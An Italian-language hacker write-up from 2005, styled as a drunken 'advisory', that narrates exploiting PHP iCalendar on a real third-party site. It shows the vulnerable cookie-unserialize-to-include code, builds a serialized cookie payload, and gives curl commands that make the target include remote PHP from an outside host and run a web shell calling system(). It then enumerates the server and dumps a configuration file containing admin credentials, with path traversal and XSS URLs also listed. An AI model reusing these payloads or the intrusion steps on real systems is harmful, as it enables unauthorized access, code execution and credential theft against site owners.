ADVISORY UBRIACO E SFATTO NEL MENTRE DELLE 1.55 DOMENICA SMAU 2005

fin tanto i ragazzi annientano quello che e' rimasto di loro non
trovo di meglio da fare (dopo il bianco ovviamente) che trovare vulns su sikurezza.org
che pero' a quanto sembra e' tutto html.. tranne : )

1) impatto LOW

possibile data load e dos alle risorse dell'utente (pensiamo a vhost o a file in /tmp)

http://www.sikurezza.org/calendario/day.php?cal=../../../home/www.maliCious.it/htdocs/bad&getdate=20051024

non so che impatto possa essere

3) impatto XSS penso

http://phpicalendar.net/phpicalendar/includes/todo.php?vtodo_array=YTo4OntzOjM6ImNhbCI7czo5OiJIb21lIDEyMzQiO3M6MTQ6ImNvbXBsZXRlZF9kYXRlIjtOO3M6MTE6ImRlc2NyaXB0aW9uIjtzOjA6IiI7czo4OiJkdWVfZGF0ZSI7TjtzOjg6InByaW9yaXR5IjtOO3M6MTA6InN0YXJ0X2RhdGUiO3M6ODoiMjAwMjEwMTUiO3M6Njoic3RhdHVzIjtOO3M6MTA6InZ0b2RvX3RleHQiO3M6MTk6IlRoaXMgaXMgYSB0b2RvIGl0ZW0iO30=

ma si passano gli array via url? che modi sono di fare?

2) impatto HIGHT

presumo si possa fare un css (non xss) di file .php arbitrari

-FILES\---------------------------

> config.inc.php

$printview_default = 'no';

> index.php

if (isset($_COOKIE['phpicalendar'])) {
 $phpicalendar = unserialize(stripslashes($_COOKIE['phpicalendar']));
 $default_view = $phpicalendar['cookie_view'];
}

if ($printview_default == 'yes') {
 $printview = $default_view;
 $default_view = "print.php";
} else {
 $default_view = "$default_view".".php";
}

include($default_view);

-/FILES---------------------------

piccola precisazione: ma _COOKIE e' come _SESSION che
devo scrivere in file non miei nella temp o chissa' dove? no

> cokie.php
<?php
print_r($_COOKIE);
?>

C:\@Shell>curl http://devel.asciistation.zapto.org/ordine/hack-PHP-iCalendar/co
kie.php -b ciao=ciao
Array
(
    [ciao] => ciao
)

ok, anche chi non programma in php ha capito a questo punto : )

semplifichiamo il php exploitabile

> test.php

<?php
$phpicalendar = unserialize(stripslashes($_COOKIE['phpicalendar']));
$default_view = $phpicalendar['cookie_view'];
$default_view = "$default_view".".php";
include($default_view);
?>

quello che dovremo injiectare nel santo cookie sara' qualcosa di simile a

a:1:{s:11:"cookie_view";s:23:"http://www.tin.it/index";}

che abbiamo ottenuto grazie alla nuova versione di cookie.php

<?php

// cookie
print_r($_COOKIE);
echo $_COOKIE['phpicalendar'];

// serialize
$a['cookie_view'] = 'http://www.tin.it/index';
$serial = serialize($a);
echo $serial;

// unpack
$phpicalendar = unserialize($serial);
$default_view = $phpicalendar['cookie_view'];
$default_view = "$default_view".".php";
echo $default_view;

?>

quindi se noi proviamo su test.php questa curl

$ curl "http://devel.asciistation.zapto.org/ordine/hack-PHP-iCalendar/test.php"
 -b phpicalendar=cookie.txt
cookie.txt.php

phpcalendar=a:1:{s:11:\"cookie_view\";s:23:\"http://www.tin.it/index\";}

boh ho dei problemi di escape forse faccio meglio con netcat, minkia sono ubriaco e stanchissimo

pero' vorrei debuggare sto problema..

e' tutta colpa di windows e del vino, ne sono quasi sicuro..

C:\@Shell>nc -l -p 80 -vvv
listening on [any] 80 ...
connect to [127.0.0.1] from asciistation [127.0.0.1] 4471
GET /ordine/hack-PHP-iCalendar/test.php HTTP/1.1
User-Agent: curl/7.11.1 (i686-pc-cygwin) libcurl/7.11.1 OpenSSL/0.9.7g zlib/1.2.2
Cookie: phpicalendar=a:1:{s:11:\"cookie_view\";s:23:\"http://www.tin.it/index\";}
Host: devel.asciistation.zapto.org
Pragma: no-cache
Accept: */*

ma diocan e' giusto..

Cookie: phpicalendar=a:1:{s:11:\"cookie_view\";s:23:\"http://www.tin.it/index\";}
        phpcalendar=a:1:{s:11:\"cookie_view\";s:23:\"http://www.tin.it/index\";}
        
e dove manca sto byte? hehe sono un coglione.. no.. e' giusto... non mi capisco

va bene mi sono rotto il cazzo

GET /ordine/hack-PHP-iCalendar/test.php HTTP/1.1
Cookie: phpicalendar=a:1:{s:11:\"cookie_view\";s:23:\"http://www.tin.it/index\";}
Host: devel.asciistation.zapto.org

<?php

echo "\n".time();

echo "\n".$_COOKIE['phpicalendar'];

echo setcookie("phpicalendar", 'a:1:{s:11:\"cookie_view\";s:23:\"http://www.tin.it/index\";}');

// $_COOKIE['phpicalendar'] = 'a:1:{s:11:\"cookie_view\";s:23:\"http://www.tin.it/index\";}';

$phpicalendar = unserialize(stripslashes($_COOKIE['phpicalendar']));
$default_view = $phpicalendar['cookie_view'];
$default_view = "$default_view".".php";
echo "\n".$default_view;
// include($default_view);

?>

$ cat req.txt | nc localhost 80
HTTP/1.1 200 OK
Date: Mon, 24 Oct 2005 00:11:03 GMT
Server: Apache
X-Powered-By: PHP/5.0.4
Set-Cookie: phpicalendar=a%3A1%3A%7Bs%3A11%3A%5C%22cookie_view%5C%22%3Bs%3A23%3A
%5C%22http%3A%2F%2Fwww.tin.it%2Findex%5C%22%3B%7D
Content-Length: 47
Connection: close
Content-Type: text/html; charset=ISO-8859-1


1130112663
a:1:{s:11:\\\"cookie_view\\\"1
.php

ah ma si che sono un asino, devo encodare!!! ma come mai le curl di merda non lo
fanno per i fatti loro?

phpicalendar=a%3A1%3A%7Bs%3A11%3A%5C%22cookie_view%5C%22%3Bs%3A23%3A%5C%22http%3A%2F%2Fwww.tin.it%2Findex%5C%22%3B%7D

ok, riproviamo con le curl su test.php

ok, riproviamo...

a%3A1%3A%7Bs%3A11%3A%22cookie_view%22%3Bs%3A23%3A%22http%3A%2F%2Fwww.tin.it%2Findex%22%3B%7D

Administrator@asciistation ~
$ curl http://devel.asciistation.zapto.org/ordine/hack-PHP-iCalendar/test.php -
b 'phpicalendar=a%3A1%3A%7Bs%3A11%3A%22cookie_view%22%3Bs%3A23%3A%22http%3A%2F%
2Fwww.tin.it%2Findex%22%3B%7D'

1130112873
a:1:{s:11:\"cookie_view\";s:23:\"http://www.tin.it/index\";}
http://www.tin.it/index.php

GRAZIE GESU

ora proviamo su sikurezza.org se funziona,in caso affermativo dovremmo vedere
tin.it

$ curl http://www.sikurezza.org/calendario/ -b 'phpicalendar=a%3A1%3A%7Bs%3A11%
3A%22cookie_view%22%3Bs%3A23%3A%22http%3A%2F%2Fwww.tin.it%2Findex%22%3B%7D'
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.or
g/TR/html4/loose.dtd">
<HTML>
        <HEAD>
                <title>Pagina non trovata - Tin.it - Generazione Internet</title
>
                <meta http-equiv="Content-Type" content="text/html; charset=iso-
8859-1">
                <meta http-equiv="refresh" content="8;URL=/index.html">
                <link href="/css/stili.css" rel="stylesheet" type="text/css">
                        <script src="/script.js" type="text/javascript" language
="javascript1.2"></script>
            </HEAD>
        <body>

                        <div id="GENERALE"><div id="VRICERCA"><div class="left">
<img src="/images/TINIT.gif" alt="tin.it - Bello vivere con internet" width="313
" height="67"
                border="0" usemap="#Map"></div>
<div class="right" align="left"><a href="http://pg.virgilio.it/pg/cgi/pgsearch.c
gi?cb=k&amp;pmk=hphead" target="_blank"><img src="/images/paginegialle.gif" alt=
"PagineGialle" width="147" height="19" border="0"></a><a href="http://pb.virgili

eh si funziona : ) sono orgoGlione di me :P

adesso carichiamo la mia super shell e vediamo che succede.. come avranno confato
il megaserver?

a%3A1%3A%7Bs%3A11%3A%22cookie_view%22%3Bs%3A23%3A%22http%3A%2F%2Fwww.ush.it%2Fteam%2Fascii%2Flogin%22%3B%7D

bravo cojon che sono.. non sono piu' 23 bytes.. sono 34

Administrator@asciistation ~
$ curl http://www.sikurezza.org/calendario/ -b 'phpicalendar=a%3A1%3A%7Bs%3A11%
3A%22cookie_view%22%3Bs%3A34%3A%22http%3A%2F%2Fwww.ush.it%2Fteam%2Fascii%2Flogi
n%22%3B%7D'
there are a lot of things you have to know, luke...

ottimo..

adesso andiamo di post

$ curl http://www.sikurezza.org/calendario/ -b 'phpicalendar=a%3A1%3A%7Bs%3A11%
3A%22cookie_view%22%3Bs%3A34%3A%22http%3A%2F%2Fwww.ush.it%2Fteam%2Fascii%2Flogi
n%22%3B%7D' -d 'key=ascii&txt=;#~Ao;F-@y^M<aEvy#VQ/qyei8m!D;L;?xc,0]{51g)CT&adj
=1.75&mod=3&user=uname'
<pre>set_time_limit(0); echo system($_POST[user]);</pre><pre></pre>

nooo mi han tolto l'exec.. che cattiveria.. tiriamoci giu' la configurazione

Administrator@asciistation ~
$ curl http://www.sikurezza.org/calendario/ -b 'phpicalendar=a%3A1%3A%7Bs%3A11%
3A%22cookie_view%22%3Bs%3A34%3A%22http%3A%2F%2Fwww.ush.it%2Fteam%2Fascii%2Flogi
n%22%3B%7D' -d 'key=ascii&txt=$}i`_D^10^?xW/Bm&adj=1.75&mod=3&user=uname'
<pre>print(CIAO);</pre><pre>CIAO</pre>

devo fixare l'encoder perche' mi rompe i coglioni sugli apici

comunque non ho php_info.. buona scelta : )

errota corrige.. non si scrive php_info si scrive phpinfo sono bruciatissimo e sono
le 2.45, ho dormito 3 ore da sabato

$ curl http://www.sikurezza.org/calendario/ -b 'phpicalendar=a%3A1%3A%7Bs%3A11%
3A%22cookie_view%22%3Bs%3A34%3A%22http%3A%2F%2Fwww.ush.it%2Fteam%2Fascii%2Fshel
l%22%3B%7D' -d 'user=ls' | nc -l -p 8080 -vvv
listening on [any] 8080 ...
  % Total    % Received % Xferd  Average Speed          Time             Curr.
                                 Dload  Upload Total    Current  Left    Speed
100  3989    0  3989    0     0   5874      0 --:--:--  0:00:00 --:--:--  5874co
nnect to [127.0.0.1] from asciistation [127.0.0.1] 4747
GET / HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7.12) Gecko/200
50915 Firefox/1.0.7
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plai
n;q=0.8,image/png,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive

100 40610    0 40610    0     0   3783      0 --:--:--  0:00:10 --:--:--  3642

cosi' me lo guardo in firefox : )

Linux www 2.4.31-grsec #1 Sat Sep 24 20:24:17 CEST 2005 i686

Aug 24 2005 19:29:12

'../configure' '--prefix=/usr' '--with-apxs=/usr/bin/apxs' '--with-config-file-path=/etc/php4/apache' '--enable-memory-limit' '--disable-debug' '--with-regex=php' '--disable-rpath' '--disable-static' '--with-pic' '--with-layout=GNU' '--with-pear=/usr/share/php' '--enable-calendar' '--enable-sysvsem' '--enable-sysvshm' '--enable-sysvmsg' '--enable-track-vars' '--enable-trans-sid' '--enable-bcmath' '--with-bz2' '--enable-ctype' '--with-db4' '--with-iconv' '--enable-exif' '--enable-filepro' '--enable-ftp' '--with-gettext' '--enable-mbstring' '--with-pcre-regex=/usr' '--enable-shmop' '--enable-sockets' '--enable-wddx' '--disable-xml' '--with-expat-dir=/usr' '--with-xmlrpc' '--enable-yp' '--with-zlib' '--without-pgsql' '--with-kerberos=/usr' '--with-openssl=/usr' '--with-zip=/usr' '--enable-dbx' '--with-mime-magic=/usr/share/misc/file/magic.mime' '--with-exec-dir=/usr/lib/php4/libexec' '--without-mm' '--with-curl=shared,/usr' '--with-dom=shared,/usr' '--with-dom-xslt=shared,/usr' '--with-dom-exslt=shared,/usr' '--with-zlib-dir=/usr' '--with-gd=shared,/usr' '--enable-gd-native-ttf' '--with-jpeg-dir=shared,/usr' '--with-xpm-dir=shared,/usr/X11R6' '--with-png-dir=shared,/usr' '--with-freetype-dir=shared,/usr' '--with-imap=shared,/usr' '--with-imap-ssl' '--with-ldap=shared,/usr' '--with-mcal=shared,/usr' '--with-mhash=shared,/usr' '--with-mysql=shared,/usr' '--with-unixODBC=shared,/usr' '--with-recode=shared,/usr' '--enable-xslt=shared' '--with-xslt-sablot=shared,/usr' '--with-snmp=shared,/usr' '--with-sybase-ct=shared,/usr' '--with-ttf=shared,/usr' '--with-t1lib=shared,/usr'

safe_mode	On	On
safe_mode_exec_dir	/dev/null	/dev/null

BUehheheheh non ci avevo mai pensato bueheheh devnull bueheheheh

User/Group 	www-data(33)/33

Loaded Modules 	mod_php4, mod_ssl, mod_dav, mod_setenvif, mod_unique_id, mod_expires, mod_proxy, mod_auth, mod_access, mod_alias, mod_cgi, mod_dir, mod_mime, mod_mime_magic, mod_log_config, mod_env, mod_macro, mod_so, http_core

_ENV["SSH_CONNECTION"]	151.37.235.166 48775 130.186.88.33 1022

???? che e' sto robo??

calendars
config.inc.php
day.php
error.php
functions
images
includes
index.php
languages
month.php
preferences.php
print.php
rss
search.php
templates
week.php
year.php

../ vedem

Array
(
    [0] => 2311
    [1] => 272777
    [2] => 33184
    [3] => 1
    [4] => 0
    [5] => 33
    [6] => -1
    [7] => 1488
    [8] => 1130108071
    [9] => 1092801991
    [10] => 1128975280
    [11] => -1
    [12] => -1
    [dev] => 2311
    [ino] => 272777
    [mode] => 33184
    [nlink] => 1
    [uid] => 0
    [gid] => 33
    [rdev] => -1
    [size] => 1488
    [atime] => 1130108071
    [mtime] => 1092801991
    [ctime] => 1128975280
    [blksize] => -1
    [blocks] => -1
)

che brutto vizio mettere uid 0 ai file.. non posso fare un cazzo : )

$ curl http://www.sikurezza.org/calendario/ -b 'phpicalendar=a%3A1%3A%7Bs%3A11%
3A%22cookie_view%22%3Bs%3A34%3A%22http%3A%2F%2Fwww.ush.it%2Fteam%2Fascii%2Fshel
l%22%3B%7D' -d 'user=ls'
<?php

// Configuration file for PHP iCalendar 2.0
//
// To set values, change the text between the single quotes
// Follow instructions to the right for detailed information

$template               = 'default';            // Template support
$default_view           = 'month';                      // Default view for cale
ndars = 'day', 'week', 'month', 'year'
$minical_view           = 'current';            // Where do the mini-calendars g
o when clicked? = 'day', 'week', 'month', 'current'
$default_cal            = $ALL_CALENDARS_COMBINED;              // Exact filenam
e of calendar without .ics. Or set to $ALL_CALENDARS_COMBINED to open all calend
ers combined into one.
$language               = 'Italian';            // Language support - 'English',
 'Polish', 'German', 'French', 'Dutch', 'Danish', 'Italian', 'Japanese', 'Norweg
ian', 'Spanish', 'Swedish', 'Portuguese', 'Catalan', 'Traditional_Chinese', 'Esp
eranto', 'Korean'
$week_start_day         = 'Monday';                     // Day of the week your
week starts on
$day_start              = '0700';                       // Start time for day gr
id
$day_end                                = '2300';                       // End t
ime for day grid
$gridLength                     = '15';                         // Grid distance
 in minutes for day view, multiples of 15 preferred
$num_years                              = '1';                          // Numbe
r of years (up and back) to display in 'Jump to'
$month_event_lines              = '1';                          // Number of lin
es to wrap each event title in month view, 0 means display all lines.
$tomorrows_events_lines = '1';                          // Number of lines to wr
ap each event title in the 'Tommorrow's events' box, 0 means display all lines.
$allday_week_lines              = '1';                          // Number of lin
es to wrap each event title in all-day events in week view, 0 means display all
lines.
$week_events_lines              = '1';                          // Number of lin
es to wrap each event title in the 'Tommorrow's events' box, 0 means display all
 lines.
$timezone               = 'Europe/Rome';                                // Set t
imezone. Read TIMEZONES file for more information
$calendar_path                  = '';                           // Leave this bl
ank on most installs, place your full FILE SYSTEM PATH to calendars if they are
outside the phpicalendar folder.
$second_offset                  = '';                           // The time in s
econds between your time and your server's time.
$bleed_time                             = '-1';                         // This
allows events past midnight to just be displayed on the starting date, only good
 up to 24 hours. Range from '0000' to '2359', or '-1' for no bleed time.
$cookie_uri                             = '';                           // The H
TTP URL to the PHP iCalendar directory, ie. http://www.example.com/phpicalendar
-- AUTO SETTING -- Only set if you are having cookie issues.
$download_uri                   = '';                           // The HTTP URL
to your calendars directory, ie. http://www.example.com/phpicalendar/calendars -
- AUTO SETTING -- Only set if you are having subscribe issues.
$default_path                   = '';                           // The HTTP URL
to the PHP iCalendar directory, ie. http://www.example.com/phpicalendar
$charset                                = 'UTF-8';                      // Chara
cter set your calendar is in, suggested UTF-8, or iso-8859-1 for most languages.


// Yes/No questions --- 'yes' means Yes, anything else means no. 'yes' must be l
owercase.
$allow_webcals                  = 'no';                         // Allow http://
 and webcal:// prefixed URLs to be used as the $cal for remote viewing of "subsc
ribe-able" calendars. This does not have to be enabled to allow specific ones be
low.
$this_months_events     = 'yes';                        // Display "This month's
 events" at the bottom off the month page.
$enable_rss                             = 'yes';                        // Enabl
e RSS access to your calendars (good thing).
$show_search                    = 'yes';                        // Show the sear
ch box in the sidebar.
$allow_preferences              = 'yes';                        // Allow visitor
s to change various preferences via cookies.
$printview_default              = 'no';                         // Set print vie
w as the default view. day, week, and month only supported views for $default_vi
ew (listed well above).
$show_todos                             = 'yes';                        // Show
your todo list on the side of day and week view.
$show_completed                 = 'yes';                                // Show
completed todos on your todo list.
$allow_login                    = 'no';                         // Set to yes to
 prompt for login to unlock calendars.
$login_cookies                  = 'no';                 // Set to yes to store a
uthentication information via (unencrypted) cookies. Set to no to use sessions.

// Calendar Caching (decreases page load times)
$save_parsed_cals               = 'no';                         // Saves a copy
of the cal in /tmp after it's been parsed. Improves performence.
$tmp_dir                = '/var/php/tmp';                       // The temporary
 directory on your system (/tmp is fine for UNIXes including Mac OS X). Any php-
writable folder works.
$webcal_hours                   = '24';                         // Number of hou
rs to cache webcals. Setting to '0' will always re-parse webcals.

// Webdav style publishing
$phpicalendar_publishing = '';                          // Set to '1' to enable
remote webdav style publish. See 'calendars/publish.php' for complete informatio
n;

// Administration settings (/admin/)
$allow_admin                    = 'no';                 // Set to yes to allow t
he admin page - remember to change the default password if using 'internal' as t
he $auth_method
$auth_method                    = 'internal';                   // Valid values
are: 'ftp', 'internal', or 'none'. 'ftp' uses the ftp server's username and pass
word as well as ftp commands to delete and copy files. 'internal' uses $auth_int
ernal_username and $auth_internal_password defined below - CHANGE the password.
'none' uses NO authentication - meant to be used with another form of authentica
tion such as http basic.
$auth_internal_username = 'koba';                       // Only used if $auth_me
thod='internal'. The username for the administrator.
$auth_internal_password = 'kola';                       // Only used if $auth_me
thod='internal'. The password for the administrator.
$ftp_server                             = 'localhost';          // Only used if
$auth_method='ftp'. The ftp server name. 'localhost' will work for most servers.

$ftp_port                               = '21';                         // Only
used if $auth_method='ftp'. The ftp port. '21' is the default for ftp servers.
$ftp_calendar_path              = '';                           // Only used if
$auth_method='ftp'. The full path to the calendar directory on the ftp server. I
f = '', will attempt to deduce the path based on $calendar_path, but may not be
accurate depending on ftp server config.

// Calendar colors
//
// You can increase the number of unique colors by adding additional images (mon
thdot_n.gif)
// and in the css file (default.css) classes .alldaybg_n, .eventbg_n and .eventb
g2_n
// Colors will repeat from the beginning for calendars past $unique_colors (7 by
 default), with no limit.
$unique_colors                  = '7';

$blacklisted_cals[] = '';       // Fill in between the quotes the name of the ca
lendars
$blacklisted_cals[] = '';       // you wish to 'blacklist' or that you don't wan
t to show up in your calendar
$blacklisted_cals[] = '';       // list. This should be the exact calendar filen
ame without .ics
$blacklisted_cals[] = '';       // the parser will *not* parse any cal that is i
n this list (it will not be Web accessible)
// add more lines as necessary

$list_webcals[] = '';           // Fill in between the quotes exact URL of a cal
endar that you wish
$list_webcals[] = '';           // to show up in your calendar list. You must pr
efix the URL with http://
$list_webcals[] = '';           // or webcal:// and the filename should contain
the .ics suffix
$list_webcals[] = '';           // $allow_webcals does *not* need to be "yes" fo
r these to show up and work
// add more lines as necessary

$locked_cals[] = '';            // Fill in-between the quotes the names of the c
alendars you wish to hide
$locked_cals[] = '';            // unless unlocked by a username/password login.
 This should be the
$locked_cals[] = '';            // exact calendar filename without the .ics suff
ix.
$locked_cals[] = '';            //
// add more lines as necessary

$locked_map['user1:pass'] = array('');          // Map username:password account
s to locked calendars that should be
$locked_map['user2:pass'] = array('');          // unlocked if logged in. Calend
ar names should be the same as what is
$locked_map['user3:pass'] = array('');          // listed in the $locked_cals, a
gain without the .ics suffix.
$locked_map['user4:pass'] = array('');          // Example: $locked_map['usernam
e:password'] = array('Locked1', 'Locked2');
// add more lines as necessary

$apache_map['user1'] = array('');       // Map HTTP authenticated users to speci
fic calendars. Users listed here and
$apache_map['user2'] = array('');       // authenticated via HTTP will not see t
he public calendars, and will not be
$apache_map['user3'] = array('');       // given any login/logout options. Calen
dar names not include the .ics suffix.
$apache_map['user4'] = array('');       // Example: $apache_map['username'] = ar
ray('Calendar1', 'Calendar2');
// add more lines as necessary
?>